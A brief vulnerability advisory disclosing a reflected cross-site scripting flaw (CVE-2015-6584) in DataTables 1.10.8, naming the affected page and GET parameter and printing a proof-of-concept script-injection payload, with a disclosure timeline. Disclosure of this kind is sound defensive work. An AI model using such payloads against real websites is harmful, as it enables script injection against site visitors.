Cross-site Scripting Vulnerability Identified in DataTables


Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in DataTables
Affected Software: DataTables
Affected Versions: 1.10.8 and possibly below
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-6584
Invicti Advisory Reference: NS-15-014

Technical Details

Proof of Concept URL for XSS in DataTables:

Page: 6776.php
Parameter Name: scripts
Parameter Type: GET
Attack Pattern:'"--></style></scRipt><scRipt>alert(0x00807E)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

04/09/2015 – First Contact
08/09/2015 – Vendor Fixed
09/09/2015 – Advisory Released

Credits & Authors

These issues have been discovered by Onur Yilmaz while testing Invicti Web Application Security Scanner.

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